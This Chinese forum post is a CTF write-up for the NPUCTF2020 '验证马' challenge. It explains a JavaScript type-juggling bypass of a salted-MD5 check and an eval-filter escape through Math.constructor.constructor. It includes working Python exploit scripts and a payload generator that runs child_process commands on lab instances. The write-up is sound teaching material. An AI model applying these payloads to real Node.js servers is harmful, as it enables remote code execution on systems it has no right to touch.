用户
搜索

该用户从未签到

i春秋-呆萌菜鸟

Rank: 1

2

主题

3

帖子

42

魔法币
收听
0
粉丝
0
注册时间
2018-11-4
发表于 2020-10-22 12:20:28 310257
本帖最后由 土豪 于 2020-10-22 13:09 编辑

一道CTF题目从EXP逆向分析解题之旅

前言

当初做到这道题,WriteUp只给了一个脚本。由此开展了一起从EXP反向分析做题过程之旅。同时也对JavaScript这种若类型并且基于原型的语言有了更深刻的理解。也学到了使用constructor来RCE的Trick.

题目源码

  • 题目来源:[NPUCTF2020]验证马
app.post('/', function (req, res) {
  let result = '';
  const results = req.session.results || [];
  const { e, first, second } = req.body;
  if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
    if (req.body.e) {
      try {
        result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
      } catch (e) {
        console.log(e);
        result = 'Wrong Wrong Wrong!!!';
      }
      results.unshift(`${req.body.e}=${result}`);
    }
  } else {
    results.unshift('Not verified!');
  }
  if (results.length > 13) {
    results.pop();
  }
  req.session.results = results;
  res.send(render(req.session.results));
});
function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
}

题目分析

JavaScript弱类型比较

  • 题目很明显存在一个任意代码执行问题,但是要想调用到saferEval必须得通过第一个分支。
 if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0]))
  • 第一个分支很明显需要我们传入
  • first.lengthsecond.length长度要相等,first的值和second的值不能相等,但是first的值和second的值加盐后的MD5值却又要相等。要想绕过这儿还得从JavaScript的若类型比较说起。

  • 我们用一段代码来看再JavaScript中的类型比较

20200424150332

  • 可以看到数组[1]==1在两个等于号时候是返回true的,而在三个等于号时候会返回false。这一点是和php一样的。
  • 而在JavaScript中各个数据类型的相加呢?

20200424162607

  • 可以看到对象和字符串相加最后得到的是字符串。而数组和字符串相加最后也是得到字符串。所以可以基本得出结论就是,node中任何数据类型和字符串相加最后得到的都是字符串

20200424180609

  • 而长度length 属性对于字符串是返回字符串长度,而数组是返回数组元素个数。而数字是没有length 的。

20200424215524

要满足first && second && first.length ===  second.length && first!==second && md5(first+keys[0])  === md5(second+keys[0]) 结合上面的结论我们我们想要firstsecond 长度一样而他们内容又不相等,但是他们md5加盐后的值又要相等。可以构造如下payload:

{"e":paylod,"first":[0],"second":"0"}

这是因为数组利用了任何数据类型加上字符串都会转变称为字符串的特性。同时数组和字符串的长度都是1但是他们却不全等。最终拼接上字符串都是0拼接key[0]因此md5加盐后的值会是相等的。

import requests
import json
headers = {
    "Content-Type":"application/json"
}
url = "http://ff8efecb-b1bc-4df1-af3d-249b285a0c54.node3.buuoj.cn/"
data = {"e":'paylod',"first":[0],"second":"0"}
r = requests.post(url,data=json.dumps(data),headers=headers)
print(r.text)

构造函数执行任意代码

  • 这道题的第二关我一直没做出来,虽然看正则就知道是用math去RCE。

  • 题目关键代码:
function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
}
  • 从正则可以看出只能嵌套Math而且Math只能用一个点,也就是只能用一层属性。
  • 我们直接从最终EXP来一层层分析

  • EXP
(Math=>(
    Math=Math.constructor,
    Math.x=Math.constructor(
        Math.fromCharCode(
114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41)
        )()))(Math+1)
  • Math=> 是什么意思?我们来看个简单的例子:

20200424231655

  • 可以发现最终是生成了个函数。是的这就是我们熟悉的匿名函数。x => x * x 相当于:
function (x) {
    return x * x;
}
  • 同理a = x=>x*x 相当于命名了一个名字为a的函数:

20200424231946

  • 那么(x=>x+x)(2)呢其实就相当于往这个函数里面传入参数2:

20200424235002

  • 我们再回到payload本身(Math=Math.constructor,Math.x=Math.constructor(......)) 可以清楚地看到最外层括号是一个逗号运算,而逗号运算我们知道是从左往右运算再最后返回最右边的值。我们由此得知这里是执行这么个运算:
Math.constructor.constructor(.....)
  • 而这又是什么呢,我们直接逐层测试的Math.constructor

20200425002236

  • 可以见到第一层返回的function object(),他是function的对象原型,而我们知道Object的构造器是指向Function的所以第二层会出现Function。而Function是构造函数他能够创建函数。可以简单理解他和eval类似。我们可以测试一个例子:

    var sum = Math.constructor.constructor('a', 'b', 'return a + b');
    sum(1,2);
    var fun = new Function('a', 'b', 'return a + b');
    fun(1,2)

20200425003241

  • 可以直接看到结果,Math.constructor.constructor() 和构造函数new Function() 是等效的。当然这个不止在Math中其他任意函数应该也是类似的。例如:alert()

20200425003702

  • 而payload的最里面fromCharCode就很容易理解了就是把AIISC码转换为字符串,那么生成payload脚本如下:
import re
encode = lambda code: list(map(ord,code))
decode = lambda code: "".join(map(chr,code))
a=f"""
(m0=>(
        m0=m0.constructor,
        m0.x=m0.constructor(
            m0.fromCharCode({encode("return process.mainModule.require('child_process').execSync('cat /flag')")})
        )()
    ))(Math+1)
"""
a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math")
print(a)

最终EXP

import requests
import json
headers = {
    "Content-Type":"application/json"
}
url = "http://14b5ae3b-e444-4e5b-9e2b-1ba3100fc085.node3.buuoj.cn/"
data = {"e":'(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)',"first":[0],"second":"0"}
r = requests.post(url,data=json.dumps(data),headers=headers)
print(r.text)

20200425004237


挺好的,排版也不错。
使用道具 举报 回复
发表于 2020-10-22 21:01:41
师傅tql
使用道具 举报 回复
发表于 2020-10-23 10:18:29
学习了,挺不错的
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册